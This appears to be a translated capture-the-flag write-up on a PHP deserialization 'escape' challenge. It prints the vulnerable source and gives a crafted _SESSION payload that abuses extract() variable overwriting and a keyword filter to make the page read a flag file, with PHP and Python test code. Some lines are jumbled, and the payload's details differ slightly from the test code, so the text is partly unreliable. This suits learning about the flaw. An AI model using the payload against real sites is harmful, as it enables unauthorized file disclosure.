- Come up directly to the source code and directly add your own understanding to the code
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
//implode()函数:把数组元素组合为字符串:
$filter = '/'.implode('|',$filter_arr).'/i';
//$filter的值就是/php|flag|php5|php4|fl1g/i
return preg_replace($filter,'',$img);
//过滤img中的每一个/php|flag|php5|php4|fl1g/i 并且替换为''
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
# extract看到第一个反应就是变量覆盖
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
# 这里就是题目的名称 序列化了 并且用filter()函数进行了过滤
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
# 这里会输出userinfo['img']内容 大概我们要想办法使得这里的值为flag文件
}
- Straighten out your ideas
- First, the title gave a hint
maybe you can find something in here!
- So you can
?f=phpinfo
see if there are any good things
- This should be the flag file,
d0g3_f1ag.php
which is what we want toecho file_get_contents(base64_decode($userinfo['img']));
output - The problem is that img_path sets a layer of sha1() encryption when assigning it, it
img_path=d0g3_f1ag.php
is useless if it is passed directly . - In other words, if we upload now
?f=show_image&img_path=d0g3_f1ag.php
- at this time
$serialize_info = filter(serialize($_SESSION));
// serialize_info的值为
//a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
- Now what we have to do is make
Session[img]=ZDBnM19mMWFnLnBocA==
ZDBnM19mMWFnLnBocA==
Yesd0g3_f1ag.php
base64 encoding- When you see regular replacement and deserialization, you must think of deserialization and escape! ! !
- We use variable coverage
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>
# 第一个var_dump的值
array(2) {
["user"]=>
string(5) "guest"
["function"]=>
NULL
}
# 如果$_POST为 _SESSION[flag]=1则其值变为
array(1) {
["flag"]=>
int(1)
}
- So we construct a payload here
- _SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
- At this time, the serialized result is determined by
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode(' guest_img.png');
get serialized
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
- And after filtering by the filter() function
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
- At this time, the first key value
phpflag
changes from a";s:48:
value to 1. - The second key value is the
img
value"ZDBnM19mMWFnLnBocA=="
and the latter is discarded - The result of deserialization at this time is
array(2) {
["";s:48:"]=>
string(1) "1"
["img"]=>
string(20) "ZDBnM19mMWFnLnBocA=="
}
- post upload the above payload
- You can get the flag by visiting
- Comes with my php test code and python coding code
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
//implode()函数:把数组元素组合为字符串:
$filter = '/'.implode('|',$filter_arr).'/i';
//$filter的值就是/php|flag|php5|php4|fl1g/i
return preg_replace($filter,'',$img);
//过滤img中的每一个/php|flag|php5|php4|fl1g/i 并且替换为''
}
$_SESSION['phpflag']=';s:2:"11";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');;
$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
$user_info=unserialize($serialize_info);
var_dump($user_info);
?>
import hashlib
import base64
before = 'guest_img.png'
bs64 = base64.b64encode(before.encode('utf-8'))
bs64 = str(bs64,encoding='utf-8')
print(bs64)
sha1 = hashlib.sha1()
sha1.update(bs64.encode('utf-8'))
print(sha1.hexdigest())